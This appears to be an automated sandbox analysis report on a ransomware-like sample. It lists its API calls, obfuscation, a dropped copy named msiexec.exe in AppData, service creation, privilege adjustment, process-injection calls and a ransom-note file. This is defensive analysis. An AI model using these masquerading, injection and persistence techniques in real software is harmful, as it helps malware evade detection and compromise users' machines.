Code function: 5_2_0000000100006600 GetModuleFileNameW,GetLastError,RegCreateKeyExW,lstrlenW,RegSetValueExW,lstrlenW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegOpenKeyExW,RegQueryValueExW,memset,CreateProcessW,WaitForSingleObject,CloseHandle,CloseHandle,RegCloseKey,wcsrchr,lstrlenW,RegSetValueExW,lstrlenW,RegSetValueExW,RegCloseKey,LoadLibraryW,GetProcAddress,

5_2_0000000100006600

PE file contains an invalid checksum

Show sources

Source: GAygkOwh9t	Static PE information: real checksum: 0x0 should be: 0x2ba8c
Source: msiexec.exe.4.dr	Static PE information: real checksum: 0x21eb2 should be: 0x13f470

Uses code obfuscation techniques (call, push, ret)

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_013619F0 push rax; ret	4_2_01361A42
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_013642B4 push rax; ret	4_2_01364302
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01362B45 push rax; ret	4_2_01362B92
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01363090 push rax; ret	4_2_013630D2
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_0136435B push rax; ret	4_2_013643B2
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01365A30 push rax; ret	4_2_01365A72
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01361CEA push rax; ret	4_2_01361D42
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01363913 push rax; ret	4_2_01363962
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01365C50 push rax; ret	4_2_01365C92
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_0136248D push rax; ret	4_2_013624E2
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01363C04 push rax; ret	4_2_01363C52
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01365220 push rax; ret	4_2_01365272
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01364270 push rax; ret	4_2_013642B2
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01361773 push rax; ret	4_2_013617C2
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01362AA0 push rax; ret	4_2_01362AF2
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01363CFB push rax; ret	4_2_01363D52
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_013615E0 push rax; ret	4_2_01361622
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_013638BC push rax; ret	4_2_01363912
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01361B40 push rax; ret	4_2_01361B82
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01365D3A push rax; ret	4_2_01365D92
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01363C53 push rax; ret	4_2_01363CA2
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01364C90 push rax; ret	4_2_01364CD2
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01361C3C push rax; ret	4_2_01361C92
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01365D93 push rax; ret	4_2_01365DE2
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01363A6C push rax; ret	4_2_01363AC2
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01365280 push rax; ret	4_2_013652C2
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_013633D0 push rax; ret	4_2_01363412
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_013628E3 push rax; ret	4_2_01362932
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_013621DB push rax; ret	4_2_01362232
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01362693 push rax; ret	4_2_013626E2
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01362C83 push rax; ret	4_2_01362CD2

Spreading:

Enumerates the file system

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Templates\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Word\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\Request\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe

Directory queried: number of queries: 2184

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01378D80 FindFirstFileW,	4_2_01378D80
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_0136F750 FindFirstFileW,	4_2_0136F750
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_01378D80 FindFirstFileW,	4_1_01378D80
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_0136F750 FindFirstFileW,	4_1_0136F750
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_00398D80 FindFirstFileW,	5_2_00398D80
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_0018F750 FindFirstFileW,	6_2_0018F750
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_00198D80 FindFirstFileW,	6_2_00198D80
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_00508D80 FindFirstFileW,	7_2_00508D80
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_004FF750 FindFirstFileW,	7_2_004FF750

Contains functionality to query local drives

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

Code function: 4_2_01371DA0 GetLogicalDriveStringsW,GetLogicalDriveStringsW,

4_2_01371DA0

System Summary:

Contains functionality to call native functions

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01375AC0 LoadLibraryExW,GetNativeSystemInfo,SHGetFolderPathW,CreateFileW,WriteFile,CreateFileTransactedW,WriteFile,NtCreateSection,NtCreateProcessEx,RtlCreateProcessParametersEx,VirtualAllocEx,WriteProcessMemory,NtQueryInformationProcess,WriteProcessMemory,NtCreateThreadEx,		4_2_01375AC0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_01375AC0 LoadLibraryExW,GetNativeSystemInfo,SHGetFolderPathW,CreateFileW,WriteFile,CreateFileTransactedW,WriteFile,NtCreateSection,NtCreateProcessEx,RtlCreateProcessParametersEx,VirtualAllocEx,WriteProcessMemory,NtQueryInformationProcess,WriteProcessMemory,NtCreateThreadEx,		4_1_01375AC0

Contains functionality to delete services

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe

Code function: 5_2_0000000100001020 DeleteService,

5_2_0000000100001020

Detected potential crypto function

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01377EC0	4_2_01377EC0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01374B90	4_2_01374B90
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_013793B0	4_2_013793B0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01376700	4_2_01376700
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_0136E9F0	4_2_0136E9F0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01378FD0	4_2_01378FD0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_0136A9D0	4_2_0136A9D0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01375AC0	4_2_01375AC0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01379910	4_2_01379910
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_0136A3A0	4_2_0136A3A0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_013721B0	4_2_013721B0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01373560	4_2_01373560
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_013698A0	4_2_013698A0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01369E80	4_2_01369E80
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_013663C0	4_2_013663C0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_0136D440	4_2_0136D440
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_01377EC0	4_1_01377EC0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_01374B90	4_1_01374B90
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_013793B0	4_1_013793B0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_01376700	4_1_01376700
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_0136E9F0	4_1_0136E9F0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_01378FD0	4_1_01378FD0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_0136A9D0	4_1_0136A9D0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_01375AC0	4_1_01375AC0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_01379910	4_1_01379910
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_0136A3A0	4_1_0136A3A0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_013721B0	4_1_013721B0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_01373560	4_1_01373560
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_013698A0	4_1_013698A0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_01369E80	4_1_01369E80
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_013663C0	4_1_013663C0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_0136D440	4_1_0136D440
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_0038E9F0	5_2_0038E9F0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_003993B0	5_2_003993B0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_00398FD0	5_2_00398FD0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_003921B0	5_2_003921B0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_00399910	5_2_00399910
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_00389E80	5_2_00389E80
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_00396700	5_2_00396700
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_0038A9D0	5_2_0038A9D0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_00397EC0	5_2_00397EC0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_00393560	5_2_00393560
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_0038A3A0	5_2_0038A3A0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_003898A0	5_2_003898A0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_003863C0	5_2_003863C0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_00395AC0	5_2_00395AC0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_0038D440	5_2_0038D440
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_00394B90	5_2_00394B90
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_000000010000733C	5_2_000000010000733C
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_00000001000077A8	5_2_00000001000077A8
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_0000000100006600	5_2_0000000100006600
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_0000000100009EFC	5_2_0000000100009EFC
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_0000000100005460	5_2_0000000100005460
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_000000010000E408	5_2_000000010000E408
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_000000010000B674	5_2_000000010000B674
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_1_000000010000733C	5_1_000000010000733C
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_1_00000001000077A8	5_1_00000001000077A8
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_1_0000000100006600	5_1_0000000100006600
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_1_0000000100009EFC	5_1_0000000100009EFC
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_1_0000000100005460	5_1_0000000100005460
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_1_000000010000E408	5_1_000000010000E408
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_1_000000010000B674	5_1_000000010000B674
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_0018A9D0	6_2_0018A9D0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_0018E9F0	6_2_0018E9F0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_001993B0	6_2_001993B0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_00198FD0	6_2_00198FD0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_0018A3A0	6_2_0018A3A0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_00196700	6_2_00196700
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_001898A0	6_2_001898A0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_0018D440	6_2_0018D440
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_00194B90	6_2_00194B90
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_00189E80	6_2_00189E80
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_001863C0	6_2_001863C0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_00197EC0	6_2_00197EC0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_00195AC0	6_2_00195AC0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_00199910	6_2_00199910
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_00193560	6_2_00193560
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_001921B0	6_2_001921B0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_00508FD0	7_2_00508FD0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_004FA9D0	7_2_004FA9D0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_005093B0	7_2_005093B0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_004FE9F0	7_2_004FE9F0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_00509910	7_2_00509910
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_005021B0	7_2_005021B0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_004F9E80	7_2_004F9E80
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_00505AC0	7_2_00505AC0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_00503560	7_2_00503560
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_004F63C0	7_2_004F63C0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_004F98A0	7_2_004F98A0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_004FD440	7_2_004FD440
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_00506700	7_2_00506700
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_004FA3A0	7_2_004FA3A0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_00507EC0	7_2_00507EC0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_00504B90	7_2_00504B90

Found potential string decryption / allocating functions

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: String function: 000000010000A81C appears 48 times
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: String function: 00000001000126F8 appears 36 times
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: String function: 0000000100010534 appears 38 times
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: String function: 000000010000FA28 appears 34 times
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: String function: 0000000100001278 appears 46 times
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: String function: 000000010000F0A4 appears 50 times
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: String function: 0000000100016AC0 appears 78 times

PE file contains strange resources

Show sources

Source: msiexec.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: msiexec.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

PE file does not import any functions

Show sources

Source: GAygkOwh9t

Static PE information: No import functions for PE file found

Reads the hosts file

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts

Sample file is different than original file name gathered from version info

Show sources

Source: GAygkOwh9t.exe, 00000004.00000003.16861321264.0000000004977000.00000004.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs GAygkOwh9t
Source: GAygkOwh9t.exe, 00000004.00000002.16911100358.0000000004510000.00000008.sdmp	Binary or memory string: OriginalFilenamewshtcpip.dll.muij% vs GAygkOwh9t
Source: GAygkOwh9t.exe, 00000004.00000002.16911338848.0000000004940000.00000008.sdmp	Binary or memory string: OriginalFilenameCRYPT32.DLL.MUIj% vs GAygkOwh9t
Source: GAygkOwh9t.exe, 00000004.00000003.16876320775.0000000008070000.00000004.sdmp	Binary or memory string: OriginalFilenameMSCTF.DLL.MUIj% vs GAygkOwh9t
Source: GAygkOwh9t.exe, 00000004.00000002.16906687970.0000000000757000.00000004.sdmp	Binary or memory string: OriginalFilenamemsiexec.exeX vs GAygkOwh9t
Source: GAygkOwh9t.exe, 00000004.00000003.16875503379.0000000008070000.00000004.sdmp	Binary or memory string: OriginalFilenamemsiexec.exe.muiX vs GAygkOwh9t
Source: GAygkOwh9t.exe, 00000004.00000002.16911141662.0000000004530000.00000008.sdmp	Binary or memory string: OriginalFilenamewship6.dll.muij% vs GAygkOwh9t
Source: GAygkOwh9t.exe, 00000004.00000002.16911610238.00000000057F0000.00000008.sdmp	Binary or memory string: OriginalFilenameKernelbasej% vs GAygkOwh9t
Source: GAygkOwh9t.exe, 00000004.00000002.16910505553.0000000001D70000.00000008.sdmp	Binary or memory string: OriginalFilenamewinhttp.dll.muij% vs GAygkOwh9t
Source: GAygkOwh9t.exe, 00000004.00000003.16876270744.0000000008070000.00000004.sdmp	Binary or memory string: OriginalFilenamemsimsg.dll.muiX vs GAygkOwh9t

Tries to load missing DLLs

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: davhlpr.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: browcli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll

Classification label

Show sources

Source: classification engine

Classification label: mal100.evad.expl.spyw.troj.win@15/1083@9/100

Contains functionality to adjust token privileges (e.g. debug / backup)

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_0000000100004FD0 GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,		5_2_0000000100004FD0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_1_0000000100004FD0 GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,		5_1_0000000100004FD0

Contains functionality to create services

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: memset,GetModuleFileNameW,GetLastError,memset,#197,#197,OpenSCManagerW,Sleep,CreateServiceW,GetLastError,#197,#197,CloseServiceHandle,CloseServiceHandle,GetLastError,		5_2_000000010000DE34
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: memset,GetModuleFileNameW,GetLastError,memset,#197,#197,OpenSCManagerW,Sleep,CreateServiceW,GetLastError,#197,#197,CloseServiceHandle,CloseServiceHandle,GetLastError,		5_1_000000010000DE34

Contains functionality to enum processes or threads

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

Code function: 4_2_01374B90 LoadLibraryA,CreateToolhelp32Snapshot,Process32FirstW,K32EnumProcessModules,K32GetModuleFileNameExW,Process32NextW,

4_2_01374B90

Contains functionality to modify services (start/stop/modify)

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe

Code function: 5_2_000000010000E108 StartServiceCtrlDispatcherW,GetLastError,

5_2_000000010000E108

Contains functionality to register a service control handler (likely the sample is a service DLL)

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_000000010000E108 StartServiceCtrlDispatcherW,GetLastError,		5_2_000000010000E108
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_1_000000010000E108 StartServiceCtrlDispatcherW,GetLastError,		5_1_000000010000E108

Creates files inside the program directory

Show sources

Source: C:\Windows\System32\msiexec.exe

File created: C:\Program Files (x86)\==READ==THIS==PLEASE==4DE0B309.txt

Creates files inside the user directory

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

File created: C:\Users\user\AppData\Roaming\msiexec.exe

Jump to behavior

PE file has an executable .text section and no other executable section

Show sources

Source: GAygkOwh9t

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Reads ini files

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

File read: C:\Users\Public\Pictures\Sample Pictures\desktop.ini

Jump to behavior

Reads software policies

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Sample is known by Antivirus

Show sources

Source: GAygkOwh9t

virustotal: Detection: 45%

Spawns processes

Show sources

Source: unknown	Process created: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe 'C:\Users\user\Desktop\plugins\GAygkOwh9t.exe'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\msiexec.exe C:\Users\user\AppData\Roaming\msiexec.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\msiexec.exe C:\Users\user\AppData\Roaming\msiexec.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\msiexec.exe C:\Users\user\AppData\Roaming\msiexec.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\msiexec.exe C:\Users\user\AppData\Roaming\msiexec.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\msiexec.exe C:\Users\user\AppData\Roaming\msiexec.exe
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe
Source: unknown	Process created: C:\Windows\System32\notepad.exe 'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\Searches\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Process created: C:\Users\user\AppData\Roaming\msiexec.exe C:\Users\user\AppData\Roaming\msiexec.exe	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Process created: C:\Users\user\AppData\Roaming\msiexec.exe C:\Users\user\AppData\Roaming\msiexec.exe	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Process created: C:\Users\user\AppData\Roaming\msiexec.exe C:\Users\user\AppData\Roaming\msiexec.exe	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Process created: C:\Users\user\AppData\Roaming\msiexec.exe C:\Users\user\AppData\Roaming\msiexec.exe	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Process created: C:\Users\user\AppData\Roaming\msiexec.exe C:\Users\user\AppData\Roaming\msiexec.exe	Jump to behavior
